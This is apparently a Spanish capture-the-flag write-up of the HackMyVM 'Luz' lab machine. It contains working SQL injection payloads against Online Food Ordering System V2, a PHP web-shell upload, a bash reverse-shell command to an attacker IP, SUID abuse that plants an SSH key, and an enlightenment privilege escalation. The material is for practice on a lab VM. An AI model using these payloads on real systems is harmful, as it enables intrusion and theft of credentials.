HackMyVM - Luz
Creado
Máquina Linux nivel fácil. Inyecciones SQL innecesarias, RCE mediante archivos PHP y bits SUID peligrosos.
TL;DR (Spanish writeup)
Creada por: sml.
Descargamos la máquina acá: HackMyVM - Luz.
Los buenos bits.
Empezamos con un sitio web de comidas vulnerable tanto a SQL Injection
(rabbit-hole que exploraremos para practicar) como a RCE
, con esto obtendremos una sesión como el usuario www-data.
Procederemos a jugar con binarios SUID
, primero con bsd-csh
(que es similar a bash o sh) moveremos llaves SSH
por el sistema para poder autenticarnos sin clave como el usuario aelis. Y luego, romperemos un gestor de ventanas (enlightenment
) para generar una escalada de privilegios.
…
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
Siguiendo la luz…
- Reconocimiento.
- Enumeración.
- Explotación.
- Movimiento lateral: www-data -> aelis.
- Escalada de privilegios.
…
Reconocimiento #
Emplearemos una nueva manera de explotar cositas a la habitual (HackTheBox y TryHackMe), ya que ya no nos indicarán cual es la IP de la máquina, tendremos que buscar cual es esa IP objetivo :o
En este caso usaré la herramienta arp-scan
para jugar con velocidad (pero con nmap logramos lo mismo):
Tengo una red NAT configurada con DHCP para que automáticamente asigne una dirección IP a la máquina entrante, esta IP sale de un rango que yo definí (192.168.100.0/24
). Esto se los digo para que tome sentido la ejecución del arp-scan, ya que le diremos que nos diga que redes encuentra activas en ese rango total de IPs:
❩ arp-scan 192.168.100.0/24
...
192.168.100.10 08:00:27:10:7a:e1 PCS Systemtechnik GmbH
Hay una distinta a las que ya tenemos, así que vamos a quedarnos con esta: 192.168.100.10
(para ser exactos en la elección, necesitaríamos más información al respecto de la máquina, pero como tenemos poca, hacemos descarte y nos quedamos con esta).
Ahora sí, usemos nmap
para descubrir que puertos (servicios) tiene expuestos la cajita:
nmap -p- --open -v 192.168.100.10 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Puerto | Descripción |
---|---|
22 | SSH: Para establecer una terminal (consola) de manera segura. |
80 | HTTP: Para mantener un servidor web. |
Ahora profundizaremos con ayuda de nmap, veremos (o lo intentaremos) que versión de software está siendo ejecutada en cada puerto y además revisar mediante unos scripts que ya trae la tool, si nos reporta algo más.
+ ~ +(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno
extractPorts initScan
[*] Extracting information...
[*] IP Address: 192.168.100.10
[*] Open ports: 22,80
[*] Ports copied to clipboard
)+ ~ +
nmap -p 22,80 -sCV 192.168.100.10 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Obtenemos:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 |
80 | HTTP | nginx 1.18.0 |
Pero nada más, ): Así que sigamos, caigamos en lo más profundo…
Enumeración #
Recorriendo la web (puerto 80) 📌
Ya notamos 3 cosas a simple vista, ¿sabes cuáles?
- Hay un login.
- Hay otro login, pero enfocado en administradores.
- Y vemos lo que parece un software:
Online Food Ordering System V2
, esto es lo más interesante.
Como primer truco, vamos a internet a buscar posibles vulnerabilidades asociadas a ese software (pues en caso de que existan :P)
Y sip, encontramos una…
Una inyección SQL guapetona…
🩸 Una inyección SQL permite a un usuario interactuar/interferir de forma deliberada con las consultas que haga una aplicación a su base de datos, esto según portswigger.net.
Si nos fijamos es muy sencilla, en este ejemplo usan una inyección basada en tiempo:
GET /fos/admin/view_order.php?id=1+or+sleep(1) HTTP/1.1
...
Lo que quiere decir es, si eres vulnerable, necesito que en caso de que no encuentres el ID 1 hagas un sleep(1), o sea, realices un delay en la respuesta de 1 (un) segundo. Por lo que si notamos una demora (lo mejor es subir el número para que sea más fácil de identificar) en la respuesta, sabemos que tenemos una inyección SQL (en ese caso basada en tiempo, pero igual se pueden validar otras para hacernos la vida más fácil).
La vuln reside en el objeto view_order.php
, en él existe un parámetro con el que el usuario interactúa: id
, este viaja directamente a la base de datos sin sanitización, con lo que se permite una explotación sencillita. Validémosla:
En nuestro caso no existe la ruta
/fos
como parte de la URL, pero si/admin
, nos quedamos con esa.
Respuesta normal:
Con la inyección SQL:
Así estamos confirmando que existe la vuln y podemos mediante consultas juguetonas extraer info de la base de datos actual (o de otras 😉).
Explotación #
Bueno, déjenme informarles :P
Me metí en un rabbit hole con la inyección SQL, pero igual está chévere tanto mostrarles como practicar, así que en caso de que quieras ver como se explotó y se logró obtener toda la info de las bases de datos, pues sigue leyendo, en caso de que no, te dejo un link a la parte donde encontramos cositas para explotar una ejecución remota de comandos, besitos (:
Click acá!! »> Saltarse el Rabbit Hole de la SQLi e ir al RCE
SQLi (Rabbit Hole) - Online Food Ordering v2 📌
Como ya vimos existe una inyección SQL presente, así que intentaremos extraer toda la info posible del gestor de bases de datos.
Así mismo, la SQLi ha sido catalogada como SQL Injection Time-Based
, pero podríamos testear payloads y validar si logramos extraer las cosas más rápido y fácil mediante alguna basada en contenido o en errores.
Viajando por el contenido (?)
Intentemos ver cuantas columnas tiene la tabla actual:
# Le colocamos 100 para buscar un posible error o
cambio en la respuesta.
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 100-- -
# Le colocamos 1, ya que si o si sabemos que existe 1 columna,
así que notaríamos un cambio con respecto a la respuesta
anterior.
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 1-- -
Obtenemos:
Perfecto, pues solo nos queda ir probando de 1 en 1 a ver donde vuelve a cambiar la respuesta, cuando pase eso, sabemos que el numero anterior es el total de columnas (campos) que hay en la tabla…
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 1-- -
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 2-- -
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 3-- -
...
http://192.168.100.10/admin/view_order.php?id=1 ORDER BY 11-- -
La petición con el ORDER 12
ya nos da el resultado del ORDER 100
, así que existen 11 columnas 🥳 y existe la posibilidad de una SQLi Content-Based.
Lo siguiente es unir esos 11 campos para validar cual de ellos nos puede llegar a servir como punto de entrada a extraer info:
http://192.168.100.10/admin/view_order.php?id=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- -
Si abrimos bien los ojos notamos en la respuesta un 7 ahí medio sapito, PPUUUUEEEEESSSS, si modificamos el valor del campo 7 en nuestro payload por algo más detallado, notamooooooooos:
QUE TENEMOS UNA INYECCIÓN SQL BASADA EN CONTENIDOOOOOOOOOOOOOOOO!! Y podemos hacer todo más rápido (:
Robamos cositas mediante una SQLi Content-Based
Para esta fase ya nos ayudaremos de un script hecho en Python para extraer todas las locuras…
Bases de datos
python3 foodOrderSQLi_content.py 192.168.100.10 -q
(+) Consulta SQL usada: 1 UNION ALL SELECT 1,2,3,4,5,6,CONCAT('aca_esta_el_leak:',(SELECT schema_name FROM information_schema.schemata LIMIT 5,1)),8,9,10,11-- -
+--------------------+
| * Bases de datos * |
+--------------------+
| information_schema |
| fos |
| performance_schema |
| mysql |
| sys |
+--------------------+
Nos quedaremos con la distinta, fos… Veamos sus tablas:
Tablas
python3 foodOrderSQLi_content.py 192.168.100.10 -q fos
(+) Consulta SQL usada: 1 UNION ALL SELECT 1,2,3,4,5,6,CONCAT('aca_esta_el_leak:',(SELECT table_name FROM information_schema.tables WHERE table_schema IN (0x666f73) LIMIT 8,1)),8,9,10,11-- -
+------------------+
| * Tablas - fos * |
+------------------+
| orders |
| system_settings |
| cart |
| user_info |
| users |
| category_list |
| product_list |
| order_list |
+------------------+
Hay algunas llamativas, como user_info y users, listemos las columnas por ejemplo de user_info.
Columnas
python3 foodOrderSQLi_content.py 192.168.100.10 -q fos user_info
(+) Consulta SQL usada: 1 UNION ALL SELECT 1,2,3,4,5,6,CONCAT('aca_esta_el_leak:',(SELECT column_name FROM information_schema.columns WHERE table_schema IN (0x666f73) AND table_name IN (0x757365725f696e666f) LIMIT 7,1)),8,9,10,11-- -
+------------------------------+
| * Columnas - fos.user_info * |
+------------------------------+
| user_id |
| first_name |
| last_name |
| email |
| password |
| mobile |
| address |
+------------------------------+
Notamos un campo password, otro de email y otros de nombres, extraigamos su contenido.
Información
python3 foodOrderSQLi_content.py 192.168.100.10 -q fos user_info first_name,last_name,email,password
(+) Consulta SQL usada: 1 UNION ALL SELECT 1,2,3,4,5,6,CONCAT('aca_esta_el_leak:',(SELECT CONCAT(first_name,'£',last_name,'£',email,'£',password) FROM fos.user_info LIMIT 2,1)),8,9,10,11-- -
+------------+-----------+-------------------+--------------------------------------------------------------+
| first_name | last_name | email | password |
+------------+-----------+-------------------+--------------------------------------------------------------+
| James | Smith | jsmith@sample.com | 1254737c076cf867dc53d60a0364f38e |
| Claire | Blake | cblake@mail.com | $2y$10$QYX8P9KwBKXunMEE4I5hVO/hO9pxUU/aswTlf.v.Uy1CNDEabTafS |
+------------+-----------+-------------------+--------------------------------------------------------------+
Ojito, tenemos dos credenciales, una contraseña en lo que parece ser MD5 (cifrado obsoleto) y otra en bcrypt (más difícil de crackear), intentemos romper inicialmente la de MD5 a ver si nos sirve para alguno de los logins iniciales.
La guardamos en un archivo y con John The Ripper:
john -w:/usr/share/wordlists/rockyou.txt --format=Raw-MD5 onlineFood_MD5Hashes.txt
...
jsmith123 (?)
...
Logramos romper el hash y obtenemos la contraseña sin descifrar. PEEEERO al probarla con los logins no logramos iniciar sesión por ningún lado ):
ESTE ES EL BENDITO RABBIT HOLE!
Recorriendo todas las bases de datos y su información no logré llegar a ningún lado… Recordamos cositas de SQLi, creamos automatización y crackeamos cositas. Ya eso es ganancia!
En ese punto me fui para atrás (me caí 😁) y busque más con respecto al software de comidas en la web, ahí fue cuando me di cuenta de que había estado re ciego :P
RCE - Online Food Ordering v2 📌
Buscando Online Food Ordering System V2 exploit
encontramos:
La explotación se logra bypasseando (saltando) los filtros que existen en las subidas de imágenes mediante un archivo .php malicioso (: En el mismo blog (o en la web) encontramos un PoC que descargaremos…
Ahí se ve que solamente crea el objeto PHP y para hacerlo interactivo hace que una variable (...$_REQUEST["cmd"]..
) sea la que tome los comandos a ejecutar en el sistema. Lo demás es diseño.
Pues probémoslo:
Liiiiisssstoooooos! En solo 1 minuto obtuvimos ejecución remota de comandooooos! Obtengamos una verdadera shell, ya que ahí tenemos una simulación de ella.
Inicialmente, nos ponemos en escucha por un puerto (nc -lvp 4433
, en mi caso), esto para indicarle posteriormente a la máquina víctima que se conecte a nuestra IP y a ese puerto para finalmente obtener una bash:
bash -c 'bash -i >& /dev/tcp/192.168.100.7/4433 0>&1'
Perfecto, ya tenemos una terminal, pero nos falta lo importante, hacerla interactiva. Esto para evitar que al hacer CTRL+C perdamos la sesión, además para tener histórico de comandos y poder movernos entre ellos…
Y listo, ahora si sigamos.
Lateral: www-data -> aelis #
Ya en el sistema, si listamos los binarios que son SUID (bit que le indica al binario/objeto que si es ejecutado por alguien distinto al creador, tome los permisos como si fuera el creador el que lo ejecutara.) encontramos 2 cosas interesantes y distintas a las normales:
-
SUID según ChatGPT:
- Algo que juega con passwd y tiene un nombre raro (“enlightenment”), la vaina es que es de root, pero es llamativo.
- Y un binario que se relaciona a un usuario nuevo para nosotros,
aelis
. Esto se ve más directo, así que ahondemos…
…
“a shell (command interpreter) with C-like syntax”…
Jmmm, un interpretador de comandos, algo así como bash
o sh
, así que probemos cositas:
Así como en los demás comandos, si le concatenamos un texto, interpreta que le estamos pasando un objeto y lo que intenta hacer es ejecutarlo, creémonos uno con contenido juguetón (que cuando sea ejecutado genere una bash/terminal) y veamos si el SUID entra en ejecución y lanzamos cosas como aelis…
echo "bash -p" > poc
/usr/bin/bsd-csh poc
Con
-p
le a la bash cuando sea ejecutada, que haga uso del bit SUID.
Tenemos RCE como aelis
, pero seguimos con el entorno de www-data
, eso está feito. Mejor usemos una de las tantas opciones que tenemos para generar una reverse shell o shell.
Lo que haré será jugar con llaves SSH, guardaremos nuestra llave pública en el /home de aelis. ¿Y de qué sirve esto?, bueno, es bastante chévere… Lo que logramos es que aelis le diga al sistema que confíe en nosotros y no nos pida contraseña para ingresar, y claro, el sistema dice “obvio, claro que si, ya que ese usuario externo lo tienes en tú -lista de amigos autorizados- y no es como que no lo conozcas” (😉).
Esa “lista preferencial” en este caso se encontraría en el objeto /home/aelis/.ssh/authorized_keys
, por lo que, juguemos :D
Les dejo de tarea como generar esas llaves y todo lo relacionado. Tomemos el contenido de la llave pública y copiémoslo, después vamos a la máquina víctima para pegarlo en un comando que al ser ejecutado nos copie esa llave en el objeto authorized_keys
de aelis:
echo "echo 'ssh-rsa AAAAB...lBr0= lanz@lapachanga' > /home/aelis/.ssh/authorized_keys" > poc
/usr/bin/bsd-csh poc
Ya deberíamos estar en la lista de aelis, pues intentemos ahora una conexión SSH como ese usuario:
ssh aelis@192.168.100.10
YYYYYYYYYYYyyYYyyyyYYyyYYY…
Ahora si estamos con todo el entorno de aelis de una forma GuApEtOnAaaAA!
Escalada de privilegios #
Después de recorrer el sistema como 3 veces y buscando que es lo que estaba obviando, recordé lo que me dejé por allá arriba, el tema de enlightenment y passwd, veamos que es eso y descubramos si es un nuevo rabbit hole…
aelis@luz:~$ find / -perm -4000 -ls 2>/dev/null
...
54488 24 -rwsr-xr-x 1 root root 22840 Feb 11 2022 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
54493 60 -rwsr-xr-x 1 root root 59712 Feb 11 2022 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_system
54492 24 -rwsr-xr-x 1 root root 22832 Feb 11 2022 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
...
Si buscamos de que trata tenemos:
“Enlightenment is a Window Manager, Compositor and Minimal Desktop for Linux (the primary platform), BSD and any other compatible UNIX system.” ~ enlightenment.org.
Interesante, pues juguemos a lo de siempre, busquemos vulns pa ese software…
aelis@luz:~$ enlightenment -version
...
Version: 0.25.3
En la web encontramos cositas:
Jmmm, llamativo y prometedor. En ese mismo recurso hay un PoC, pero no me funcionó, recorriendo la web caemos en este otro:
Descargamos el archivo a la máquina víctima y al ejecutarloooowowowo:
Y estamos como ROOOOOT! Veamos las flags (:
…
Una máquina sencillita, el inicio me gustó para jugar con inyecciones (aunque no fuera la ruta). Y el final de los SUID fue también chévere, aprendí y conocí dos herramientas, así que todo son ganancias.
Por ahora lo dejamos acá, espero haberles ayudado, nos estamos charlando y recuerden, hay que descansar de vez en cuando :P
A ROMPER TODOOOOOOOOOOOOOOOOOOOOO!
Comments